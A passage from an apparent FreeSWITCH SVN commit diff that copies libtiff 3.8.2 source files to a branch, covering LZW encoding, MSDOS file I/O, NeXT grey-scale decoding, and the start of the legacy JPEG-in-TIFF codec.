+				if (rat <= sp->enc_ratio) {
+					cl_hash(sp);
+					sp->enc_ratio = 0;
+					incount = 0;
+					outcount = 0;
+					free_ent = CODE_FIRST;
+					PutNextCode(op, CODE_CLEAR);
+					nbits = BITS_MIN;
+					maxcode = MAXCODE(BITS_MIN);
+				} else
+					sp->enc_ratio = rat;
+			}
+		}
+	hit:
+		;
+	}
+
+	/*
+	 * Restore global state.
+	 */
+	sp->enc_incount = incount;
+	sp->enc_outcount = outcount;
+	sp->enc_checkpoint = checkpoint;
+	sp->enc_oldcode = ent;
+	sp->lzw_nextdata = nextdata;
+	sp->lzw_nextbits = nextbits;
+	sp->lzw_free_ent = free_ent;
+	sp->lzw_maxcode = maxcode;
+	sp->lzw_nbits = nbits;
+	tif->tif_rawcp = op;
+	return (1);
+}
+
+/*
+ * Finish off an encoded strip by flushing the last
+ * string and tacking on an End Of Information code.
+ */
+static int
+LZWPostEncode(TIFF* tif)
+{
+	register LZWCodecState *sp = EncoderState(tif);
+	tidata_t op = tif->tif_rawcp;
+	long nextbits = sp->lzw_nextbits;
+	long nextdata = sp->lzw_nextdata;
+	long outcount = sp->enc_outcount;
+	int nbits = sp->lzw_nbits;
+
+	if (op > sp->enc_rawlimit) {
+		tif->tif_rawcc = (tsize_t)(op - tif->tif_rawdata);
+		TIFFFlushData1(tif);
+		op = tif->tif_rawdata;
+	}
+	if (sp->enc_oldcode != (hcode_t) -1) {
+		PutNextCode(op, sp->enc_oldcode);
+		sp->enc_oldcode = (hcode_t) -1;
+	}
+	PutNextCode(op, CODE_EOI);
+	if (nextbits > 0) 
+		*op++ = (unsigned char)(nextdata << (8-nextbits));
+	tif->tif_rawcc = (tsize_t)(op - tif->tif_rawdata);
+	return (1);
+}
+
+/*
+ * Reset encoding hash table.
+ */
+static void
+cl_hash(LZWCodecState* sp)
+{
+	register hash_t *hp = &sp->enc_hashtab[HSIZE-1];
+	register long i = HSIZE-8;
+
+ 	do {
+		i -= 8;
+		hp[-7].hash = -1;
+		hp[-6].hash = -1;
+		hp[-5].hash = -1;
+		hp[-4].hash = -1;
+		hp[-3].hash = -1;
+		hp[-2].hash = -1;
+		hp[-1].hash = -1;
+		hp[ 0].hash = -1;
+		hp -= 8;
+	} while (i >= 0);
+    	for (i += 8; i > 0; i--, hp--)
+		hp->hash = -1;
+}
+
+static void
+LZWCleanup(TIFF* tif)
+{
+	(void)TIFFPredictorCleanup(tif);
+
+	assert(tif->tif_data != 0);
+
+	if (DecoderState(tif)->dec_codetab)
+		_TIFFfree(DecoderState(tif)->dec_codetab);
+
+	if (EncoderState(tif)->enc_hashtab)
+		_TIFFfree(EncoderState(tif)->enc_hashtab);
+
+	_TIFFfree(tif->tif_data);
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+int
+TIFFInitLZW(TIFF* tif, int scheme)
+{
+	assert(scheme == COMPRESSION_LZW);
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t) _TIFFmalloc(sizeof (LZWCodecState));
+	if (tif->tif_data == NULL)
+		goto bad;
+	DecoderState(tif)->dec_codetab = NULL;
+	DecoderState(tif)->dec_decode = NULL;
+	EncoderState(tif)->enc_hashtab = NULL;
+        LZWState(tif)->rw_mode = tif->tif_mode;
+
+	/*
+	 * Install codec methods.
+	 */
+	tif->tif_setupdecode = LZWSetupDecode;
+	tif->tif_predecode = LZWPreDecode;
+	tif->tif_decoderow = LZWDecode;
+	tif->tif_decodestrip = LZWDecode;
+	tif->tif_decodetile = LZWDecode;
+	tif->tif_setupencode = LZWSetupEncode;
+	tif->tif_preencode = LZWPreEncode;
+	tif->tif_postencode = LZWPostEncode;
+	tif->tif_encoderow = LZWEncode;
+	tif->tif_encodestrip = LZWEncode;
+	tif->tif_encodetile = LZWEncode;
+	tif->tif_cleanup = LZWCleanup;
+	/*
+	 * Setup predictor setup.
+	 */
+	(void) TIFFPredictorInit(tif);
+	return (1);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, "TIFFInitLZW", 
+		     "No space for LZW state block");
+	return (0);
+}
+
+/*
+ * Copyright (c) 1985, 1986 The Regents of the University of California.
+ * All rights reserved.
+ *
+ * This code is derived from software contributed to Berkeley by
+ * James A. Woods, derived from original work by Spencer Thomas
+ * and Joseph Orost.
+ *
+ * Redistribution and use in source and binary forms are permitted
+ * provided that the above copyright notice and this paragraph are
+ * duplicated in all such forms and that any documentation,
+ * advertising materials, and other materials related to such
+ * distribution and use acknowledge that the software was developed
+ * by the University of California, Berkeley.  The name of the
+ * University may not be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
+ * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+#endif /* LZW_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_msdos.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_msdos.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_msdos.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_msdos.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_msdos.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,179 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_msdos.c,v 1.2 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library MSDOS-specific Routines.
+ */
+#if defined(__WATCOMC__) || defined(__BORLANDC__) || defined(_MSC_VER)
+#include <io.h>		/* for open, close, etc. function prototypes */
+#include <stdio.h>
+#endif
+#include "tiffiop.h"
+
+static tsize_t 
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (read((int) fd, buf, size));
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (write((int) fd, buf, size));
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	return (lseek((int) fd, (off_t) off, whence));
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (close((int) fd));
+}
+
+#include <sys/stat.h>
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	struct stat sb;
+	return (fstat((int) fd, &sb) < 0 ? 0 : sb.st_size);
+}
+
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode,
+	    (void*) fd,
+	    _tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc,
+	    _tiffSizeProc, _tiffMapProc, _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = fd;
+	return (tif);
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	int m, fd;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		return ((TIFF*)0);
+	fd = open(name, m|O_BINARY, 0666);
+	if (fd < 0) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF*)0);
+	}
+	return (TIFFFdOpen(fd, name, mode));
+}
+
+#ifdef __GNUC__
+extern	char* malloc();
+extern	char* realloc();
+#else
+#include <malloc.h>
+#endif
+
+tdata_t
+_TIFFmalloc(tsize_t s)
+{
+	return (malloc((size_t) s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	free(p);
+}
+
+tdata_t
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	return (realloc(p, (size_t) s));
+}
+
+void
+_TIFFmemset(tdata_t p, int v, tsize_t c)
+{
+	memset(p, v, (size_t) c);
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, tsize_t c)
+{
+	memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	return (memcmp(p1, p2, (size_t) c));
+}
+
+static void
+msdosWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFwarningHandler = msdosWarningHandler;
+
+static void
+msdosErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFerrorHandler = msdosErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_next.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_next.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_next.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_next.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_next.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+/* $Id: tif_next.c,v 1.6 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef NEXT_SUPPORT
+/*
+ * TIFF Library.
+ *
+ * NeXT 2-bit Grey Scale Compression Algorithm Support
+ */
+
+#define SETPIXEL(op, v) {			\
+	switch (npixels++ & 3) {		\
+	case 0:	op[0]  = (unsigned char) ((v) << 6); break;	\
+	case 1:	op[0] |= (v) << 4; break;	\
+	case 2:	op[0] |= (v) << 2; break;	\
+	case 3:	*op++ |= (v);	   break;	\
+	}					\
+}
+
+#define LITERALROW	0x00
+#define LITERALSPAN	0x40
+#define WHITE   	((1<<2)-1)
+
+static int
+NeXTDecode(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	register unsigned char *bp, *op;
+	register tsize_t cc;
+	register int n;
+	tidata_t row;
+	tsize_t scanline;
+
+	(void) s;
+	/*
+	 * Each scanline is assumed to start off as all
+	 * white (we assume a PhotometricInterpretation
+	 * of ``min-is-black'').
+	 */
+	for (op = buf, cc = occ; cc-- > 0;)
+		*op++ = 0xff;
+
+	bp = (unsigned char *)tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+	scanline = tif->tif_scanlinesize;
+	for (row = buf; (long)occ > 0; occ -= scanline, row += scanline) {
+		n = *bp++, cc--;
+		switch (n) {
+		case LITERALROW:
+			/*
+			 * The entire scanline is given as literal values.
+			 */
+			if (cc < scanline)
+				goto bad;
+			_TIFFmemcpy(row, bp, scanline);
+			bp += scanline;
+			cc -= scanline;
+			break;
+		case LITERALSPAN: {
+			int off;
+			/*
+			 * The scanline has a literal span
+			 * that begins at some offset.
+			 */
+			off = (bp[0] * 256) + bp[1];
+			n = (bp[2] * 256) + bp[3];
+			if (cc < 4+n || off+n > scanline)
+				goto bad;
+			_TIFFmemcpy(row+off, bp+4, n);
+			bp += 4+n;
+			cc -= 4+n;
+			break;
+		}
+		default: {
+			register int npixels = 0, grey;
+			unsigned long imagewidth = tif->tif_dir.td_imagewidth;
+
+			/*
+			 * The scanline is composed of a sequence
+			 * of constant color ``runs''.  We shift
+			 * into ``run mode'' and interpret bytes
+			 * as codes of the form <color><npixels>
+			 * until we've filled the scanline.
+			 */
+			op = row;
+			for (;;) {
+				grey = (n>>6) & 0x3;
+				n &= 0x3f;
+				while (n-- > 0)
+					SETPIXEL(op, grey);
+				if (npixels >= (int) imagewidth)
+					break;
+				if (cc == 0)
+					goto bad;
+				n = *bp++, cc--;
+			}
+			break;
+		}
+		}
+	}
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	return (1);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "NeXTDecode: Not enough data for scanline %ld",
+	    (long) tif->tif_row);
+	return (0);
+}
+
+int
+TIFFInitNeXT(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	tif->tif_decoderow = NeXTDecode;
+	tif->tif_decodestrip = NeXTDecode;
+	tif->tif_decodetile = NeXTDecode;
+	return (1);
+}
+#endif /* NEXT_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_ojpeg.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_ojpeg.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_ojpeg.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_ojpeg.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_ojpeg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2629 @@
+/* $Id: tif_ojpeg.c,v 1.16 2006/03/01 11:09:13 dron Exp $ */
+
+#include "tiffiop.h"
+#ifdef OJPEG_SUPPORT
+
+/* JPEG Compression support, as per the original TIFF 6.0 specification.
+
+   WARNING: KLUDGE ALERT!  The type of JPEG encapsulation defined by the TIFF
+                           Version 6.0 specification is now totally obsolete and
+   deprecated for new applications and images.  This file is an unsupported hack
+   that was created solely in order to read (but NOT write!) a few old,
+   unconverted images still present on some users' computer systems.  The code
+   isn't pretty or robust, and it won't read every "old format" JPEG-in-TIFF
+   file (see Samuel Leffler's draft "TIFF Technical Note No. 2" for a long and
+   incomplete list of known problems), but it seems to work well enough in the
+   few cases of practical interest to the author; so, "caveat emptor"!  This
+   file should NEVER be enhanced to write new images using anything other than
+   the latest approved JPEG-in-TIFF encapsulation method, implemented by the
+   "tif_jpeg.c" file elsewhere in this library.
+
+   This file interfaces with Release 6B of the JPEG Library written by theu
+   Independent JPEG Group, which you can find on the Internet at:
+   ftp://ftp.uu.net:/graphics/jpeg/.
+
+   The "C" Preprocessor macros, "[CD]_LOSSLESS_SUPPORTED", are defined by your
+   JPEG Library Version 6B only if you have applied a (massive!) patch by Ken
+   Murchison of Oceana Matrix Ltd. <ken@oceana.com> to support lossless Huffman
+   encoding (TIFF "JPEGProc" tag value = 14).  This patch can be found on the
+   Internet at: ftp://ftp.oceana.com/pub/ljpeg-6b.tar.gz.
+
+   Some old files produced by the Wang Imaging application for Microsoft Windows
+   apparently can be decoded only with a special patch to the JPEG Library,
+   which defines a subroutine named "jpeg_reset_huff_decode()" in its "jdhuff.c"
+   module (the "jdshuff.c" module, if Ken Murchison's patch has been applied).
+   Unfortunately the patch differs slightly in each case, and some TIFF Library
+   have reported problems finding the code, so both versions appear below; you
+   should carefully extract and apply only the version that applies to your JPEG
+   Library!
+
+   Contributed by Scott Marovich <marovich@hpl.hp.com> with considerable help
+   from Charles Auer <Bumble731@msn.com> to unravel the mysteries of image files
+   created by the Wang Imaging application for Microsoft Windows.
+*/
+#if 0  /* Patch for JPEG Library WITHOUT lossless Huffman coding */
+*** jdhuff.c.orig	Mon Oct 20 17:51:10 1997
+--- jdhuff.c	Sun Nov 11 17:33:58 2001
+***************
+*** 648,651 ****
+--- 648,683 ----
+    for (i = 0; i < NUM_HUFF_TBLS; i++) {
+      entropy->dc_derived_tbls[i] = entropy->ac_derived_tbls[i] = NULL;
+    }
+  }
++ 
++ /*
++  * BEWARE OF KLUDGE:  This subroutine is a hack for decoding illegal JPEG-in-
++  *                    TIFF encapsulations produced by Microsoft's Wang Imaging
++  * for Windows application with the public-domain TIFF Library.  Based upon an
++  * examination of selected output files, this program apparently divides a JPEG
++  * bit-stream into consecutive horizontal TIFF "strips", such that the JPEG
++  * encoder's/decoder's DC coefficients for each image component are reset before
++  * each "strip".  Moreover, a "strip" is not necessarily encoded in a multiple
++  * of 8 bits, so one must sometimes discard 1-7 bits at the end of each "strip"
++  * for alignment to the next input-Byte storage boundary.  IJG JPEG Library
++  * decoder state is not normally exposed to client applications, so this sub-
++  * routine provides the TIFF Library with a "hook" to make these corrections.
++  * It should be called after "jpeg_start_decompress()" and before
++  * "jpeg_finish_decompress()", just before decoding each "strip" using
++  * "jpeg_read_raw_data()" or "jpeg_read_scanlines()".
++  *
++  * This kludge is not sanctioned or supported by the Independent JPEG Group, and
++  * future changes to the IJG JPEG Library might invalidate it.  Do not send bug
++  * reports about this code to IJG developers.  Instead, contact the author for
++  * advice: Scott B. Marovich <marovich@hpl.hp.com>, Hewlett-Packard Labs, 6/01.
++  */
++ GLOBAL(void)
++ jpeg_reset_huff_decode (register j_decompress_ptr cinfo)
++ { register huff_entropy_ptr entropy = (huff_entropy_ptr)cinfo->entropy;
++   register int ci = 0;
++ 
++   /* Discard encoded input bits, up to the next Byte boundary */
++   entropy->bitstate.bits_left &= ~7;
++   /* Re-initialize DC predictions to 0 */
++   do entropy->saved.last_dc_val[ci] = 0; while (++ci < cinfo->comps_in_scan);
++ }
+#endif /* Patch for JPEG Library WITHOUT lossless Huffman coding */
+#if 0  /* Patch for JPEG Library WITH lossless Huffman coding */
+*** jdshuff.c.orig	Mon Mar 11 16:44:54 2002
+--- jdshuff.c	Mon Mar 11 16:44:54 2002
+***************
+*** 357,360 ****
+--- 357,393 ----
+    for (i = 0; i < NUM_HUFF_TBLS; i++) {
+      entropy->dc_derived_tbls[i] = entropy->ac_derived_tbls[i] = NULL;
+    }
+  }
++ 
++ /*
++  * BEWARE OF KLUDGE:  This subroutine is a hack for decoding illegal JPEG-in-
++  *                    TIFF encapsulations produced by Microsoft's Wang Imaging
++  * for Windows application with the public-domain TIFF Library.  Based upon an
++  * examination of selected output files, this program apparently divides a JPEG
++  * bit-stream into consecutive horizontal TIFF "strips", such that the JPEG
++  * encoder's/decoder's DC coefficients for each image component are reset before
++  * each "strip".  Moreover, a "strip" is not necessarily encoded in a multiple
++  * of 8 bits, so one must sometimes discard 1-7 bits at the end of each "strip"
++  * for alignment to the next input-Byte storage boundary.  IJG JPEG Library
++  * decoder state is not normally exposed to client applications, so this sub-
++  * routine provides the TIFF Library with a "hook" to make these corrections.
++  * It should be called after "jpeg_start_decompress()" and before
++  * "jpeg_finish_decompress()", just before decoding each "strip" using
++  * "jpeg_read_raw_data()" or "jpeg_read_scanlines()".
++  *
++  * This kludge is not sanctioned or supported by the Independent JPEG Group, and
++  * future changes to the IJG JPEG Library might invalidate it.  Do not send bug
++  * reports about this code to IJG developers.  Instead, contact the author for
++  * advice: Scott B. Marovich <marovich@hpl.hp.com>, Hewlett-Packard Labs, 6/01.
++  */
++ GLOBAL(void)
++ jpeg_reset_huff_decode (register j_decompress_ptr cinfo)
++ { register shuff_entropy_ptr entropy = (shuff_entropy_ptr)
++                                        ((j_lossy_d_ptr)cinfo->codec)->entropy_private;
++   register int ci = 0;
++ 
++   /* Discard encoded input bits, up to the next Byte boundary */
++   entropy->bitstate.bits_left &= ~7;
++   /* Re-initialize DC predictions to 0 */
++   do entropy->saved.last_dc_val[ci] = 0; while (++ci < cinfo->comps_in_scan);
++ }
+#endif /* Patch for JPEG Library WITH lossless Huffman coding */
+#include <setjmp.h>
+#include <stdio.h>
+#ifdef FAR
+#undef FAR /* Undefine FAR to avoid conflict with JPEG definition */
+#endif
+#define JPEG_INTERNALS /* Include "jpegint.h" for "DSTATE_*" symbols */
+#define JPEG_CJPEG_DJPEG /* Include all Version 6B+ "jconfig.h" options */
+#undef INLINE
+#include "jpeglib.h"
+#undef JPEG_CJPEG_DJPEG
+#undef JPEG_INTERNALS
+
+/* Hack for files produced by Wang Imaging application on Microsoft Windows */
+extern void jpeg_reset_huff_decode(j_decompress_ptr);
+
+/* On some machines, it may be worthwhile to use "_setjmp()" or "sigsetjmp()"
+   instead of "setjmp()".  These macros make it easier:
+*/
+#define SETJMP(jbuf)setjmp(jbuf)
+#define LONGJMP(jbuf,code)longjmp(jbuf,code)
+#define JMP_BUF jmp_buf
+
+#define TIFFTAG_WANG_PAGECONTROL 32934
+
+/* Bit-vector offsets for keeping track of TIFF records that we've parsed. */
+
+#define FIELD_JPEGPROC FIELD_CODEC
+#define FIELD_JPEGIFOFFSET (FIELD_CODEC+1)
+#define FIELD_JPEGIFBYTECOUNT (FIELD_CODEC+2)
+#define FIELD_JPEGRESTARTINTERVAL (FIELD_CODEC+3)
+#define FIELD_JPEGTABLES (FIELD_CODEC+4) /* New, post-6.0 JPEG-in-TIFF tag! */
+#define FIELD_JPEGLOSSLESSPREDICTORS (FIELD_CODEC+5)
+#define FIELD_JPEGPOINTTRANSFORM (FIELD_CODEC+6)
+#define FIELD_JPEGQTABLES (FIELD_CODEC+7)
+#define FIELD_JPEGDCTABLES (FIELD_CODEC+8)
+#define FIELD_JPEGACTABLES (FIELD_CODEC+9)
+#define FIELD_WANG_PAGECONTROL (FIELD_CODEC+10)
+#define FIELD_JPEGCOLORMODE (FIELD_CODEC+11)
+
+typedef struct jpeg_destination_mgr jpeg_destination_mgr;
+typedef struct jpeg_source_mgr jpeg_source_mgr;
+typedef struct jpeg_error_mgr jpeg_error_mgr;
+
+/* State variable for each open TIFF file that uses "libjpeg" for JPEG
+   decompression.  (Note:  This file should NEVER perform JPEG compression
+   except in the manner implemented by the "tif_jpeg.c" file, elsewhere in this
+   library; see comments above.)  JPEG Library internal state is recorded in a
+   "jpeg_{de}compress_struct", while a "jpeg_common_struct" records a few items
+   common to both compression and expansion.  The "cinfo" field containing JPEG
+   Library state MUST be the 1st member of our own state variable, so that we
+   can safely "cast" pointers back and forth.
+*/
+typedef struct             /* This module's private, per-image state variable */
+  {
+    union         /* JPEG Library state variable; this MUST be our 1st field! */
+      {
+        struct jpeg_compress_struct c;
+        struct jpeg_decompress_struct d;
+        struct jpeg_common_struct comm;
+      } cinfo;
+    jpeg_error_mgr err;                         /* JPEG Library error manager */
+    JMP_BUF exit_jmpbuf;             /* ...for catching JPEG Library failures */
+#   ifdef never
+
+ /* (The following two fields could be a "union", but they're small enough that
+    it's not worth the effort.)
+ */
+    jpeg_destination_mgr dest;             /* Destination for compressed data */
+#   endif
+    jpeg_source_mgr src;                           /* Source of expanded data */
+    JSAMPARRAY ds_buffer[MAX_COMPONENTS]; /* ->Temporary downsampling buffers */
+    TIFF *tif;                        /* Reverse pointer, needed by some code */
+    TIFFVGetMethod vgetparent;                    /* "Super class" methods... */
+    TIFFVSetMethod vsetparent;
+    TIFFStripMethod defsparent;
+    TIFFTileMethod deftparent;
+    void *jpegtables;           /* ->"New" JPEG tables, if we synthesized any */
+    uint32 is_WANG,    /* <=> Wang Imaging for Microsoft Windows output file? */
+           jpegtables_length;   /* Length of "new" JPEG tables, if they exist */
+    tsize_t bytesperline;          /* No. of decompressed Bytes per scan line */
+    int jpegquality,                             /* Compression quality level */
+        jpegtablesmode,                          /* What to put in JPEGTables */
+        samplesperclump,
+        scancount;                           /* No. of scan lines accumulated */
+    J_COLOR_SPACE photometric;          /* IJG JPEG Library's photometry code */
+    unsigned char h_sampling,                          /* Luminance sampling factors */
+           v_sampling,
+           jpegcolormode;           /* Who performs RGB <-> YCbCr conversion? */
+			/* JPEGCOLORMODE_RAW <=> TIFF Library or its client */
+			/* JPEGCOLORMODE_RGB <=> JPEG Library               */
+    /* These fields are added to support TIFFGetField */
+    uint16 jpegproc;
+    uint32 jpegifoffset;
+    uint32 jpegifbytecount;
+    uint32 jpegrestartinterval;
+    void* jpeglosslesspredictors;
+    uint16 jpeglosslesspredictors_length;
+    void* jpegpointtransform;
+    uint32 jpegpointtransform_length;
+    void* jpegqtables;
+    uint32 jpegqtables_length;
+    void* jpegdctables;
+    uint32 jpegdctables_length;
+    void* jpegactables;
+    uint32 jpegactables_length;
+
+  } OJPEGState;
+#define OJState(tif)((OJPEGState*)(tif)->tif_data)
+
+static const TIFFFieldInfo ojpegFieldInfo[]=/* JPEG-specific TIFF-record tags */
+  {
+
+ /* This is the current JPEG-in-TIFF metadata-encapsulation tag, and its
+    treatment in this file is idiosyncratic.  It should never appear in a
+    "source" image conforming to the TIFF Version 6.0 specification, so we
+    arrange to report an error if it appears.  But in order to support possible
+    future conversion of "old" JPEG-in-TIFF encapsulations to "new" ones, we
+    might wish to synthesize an equivalent value to be returned by the TIFF
+    Library's "getfield" method.  So, this table tells the TIFF Library to pass
+    these records to us in order to filter them below.
+ */
+    {
+      TIFFTAG_JPEGTABLES            ,TIFF_VARIABLE2,TIFF_VARIABLE2,
+      TIFF_UNDEFINED,FIELD_JPEGTABLES            ,FALSE,TRUE ,"JPEGTables"
+    },
+
+ /* These tags are defined by the TIFF Version 6.0 specification and are now
+    obsolete.  This module reads them from an old "source" image, but it never
+    writes them to a new "destination" image.
+ */
+    {
+      TIFFTAG_JPEGPROC              ,1            ,1            ,
+      TIFF_SHORT    ,FIELD_JPEGPROC              ,FALSE,FALSE,"JPEGProc"
+    },
+    {
+      TIFFTAG_JPEGIFOFFSET          ,1            ,1            ,
+      TIFF_LONG     ,FIELD_JPEGIFOFFSET          ,FALSE,FALSE,"JPEGInterchangeFormat"
+    },
+    {
+      TIFFTAG_JPEGIFBYTECOUNT       ,1            ,1            ,
+      TIFF_LONG     ,FIELD_JPEGIFBYTECOUNT       ,FALSE,FALSE,"JPEGInterchangeFormatLength"
+    },
+    {
+      TIFFTAG_JPEGRESTARTINTERVAL   ,1            ,1            ,
+      TIFF_SHORT    ,FIELD_JPEGRESTARTINTERVAL   ,FALSE,FALSE,"JPEGRestartInterval"
+    },
+    {
+      TIFFTAG_JPEGLOSSLESSPREDICTORS,TIFF_VARIABLE,TIFF_VARIABLE,
+      TIFF_SHORT    ,FIELD_JPEGLOSSLESSPREDICTORS,FALSE,TRUE ,"JPEGLosslessPredictors"
+    },
+    {
+      TIFFTAG_JPEGPOINTTRANSFORM    ,TIFF_VARIABLE,TIFF_VARIABLE,
+      TIFF_SHORT    ,FIELD_JPEGPOINTTRANSFORM    ,FALSE,TRUE ,"JPEGPointTransforms"
+    },
+    {
+      TIFFTAG_JPEGQTABLES           ,TIFF_VARIABLE,TIFF_VARIABLE,
+      TIFF_LONG     ,FIELD_JPEGQTABLES           ,FALSE,TRUE ,"JPEGQTables"
+    },
+    {
+      TIFFTAG_JPEGDCTABLES          ,TIFF_VARIABLE,TIFF_VARIABLE,
+      TIFF_LONG     ,FIELD_JPEGDCTABLES          ,FALSE,TRUE ,"JPEGDCTables"
+    },
+    {
+      TIFFTAG_JPEGACTABLES          ,TIFF_VARIABLE,TIFF_VARIABLE,
+      TIFF_LONG     ,FIELD_JPEGACTABLES          ,FALSE,TRUE ,"JPEGACTables"
+    },
+    {
